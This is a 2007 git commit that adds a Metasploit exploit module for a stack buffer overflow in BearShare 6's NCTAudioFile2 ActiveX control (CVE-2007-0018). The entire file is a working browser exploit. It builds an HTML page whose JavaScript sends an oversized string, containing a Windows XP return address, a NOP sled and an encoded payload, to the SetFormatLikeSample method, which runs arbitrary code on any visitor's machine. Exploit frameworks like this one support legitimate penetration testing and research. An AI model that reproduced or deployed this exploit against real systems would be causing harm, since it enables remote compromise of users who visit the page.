added exploit module bearshare_setformatlikesample.rb

git-svn-id: file:///home/svn/framework3/trunk@4916 4d416f70-5f16-0410-b530-b9f4589650da
2007-05-16 15:12:22 +00:00 · 2007-05-16 15:12:22 +00:00 · 00ea0f9932
parent ddfe651bc8
commit 00ea0f9932
1 changed files with 90 additions and 0 deletions
--- a/modules/exploits/windows/browser/bearshare_setformatlikesample.rb
+++ b/modules/exploits/windows/browser/bearshare_setformatlikesample.rb
@ -0,0 +1,90 @@
+##
+# $Id: bearshare_setformatlikesample.rb 4645 2007-04-04 04:34:17Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Browser::BearShare_SetFormatLikeSample < Msf::Exploit::Remote
+
+	include Exploit::Remote::HttpServer::HTML
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'BearShare 6 ActiveX Control Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX
+					Control provided by BearShare 6.0.2.26789.  By sending a overly long string 
+					to the "SetFormatLikeSample()" method, an attacker may be able to execute arbitrary code.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => [ 'MC' ], 
+			'Version'        => '$Revision: 3783 $',
+			'References'     => 
+				[
+					[ 'CVE', '2007-0018' ],
+					[ 'BID', '23892' ],
+					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 800,
+					'BadChars'      => "\x00\x09\x0a\x0d'\\",
+					'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",	
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP2 Pro English',     { 'Offset' => 4116, 'Ret' => 0x7c81518B } ],
+				],
+			'DisclosureDate' => 'May 5 2007',
+			'DefaultTarget'  => 0))
+	end
+
+	def on_request_uri(cli, request)
+		# Re-generate the payload
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Randomize some things
+		vname	= rand_text_alpha(rand(100) + 1)
+		strname	= rand_text_alpha(rand(100) + 1)
+		
+		# Set the exploit buffer	
+		sploit =  rand_text_alpha(target['Offset']) + [target.ret].pack('V') 
+		sploit << make_nops(8) + p.encoded 
+			
+		# Build out the message
+		content = %Q|
+			<html>
+			<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>
+			<script language='javascript'>
+			var #{vname} = document.getElementById('#{vname}');
+			var #{strname} = new String('#{sploit}');
+			#{vname}.SetFormatLikeSample(#{strname}); 
+			</script>
+			</html>
+                  |
+	
+		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
+
+		# Transmit the response to the client
+		send_response_html(cli, content)
+		
+		# Handle the payload
+		handler(cli)
+	end
+
+end
+end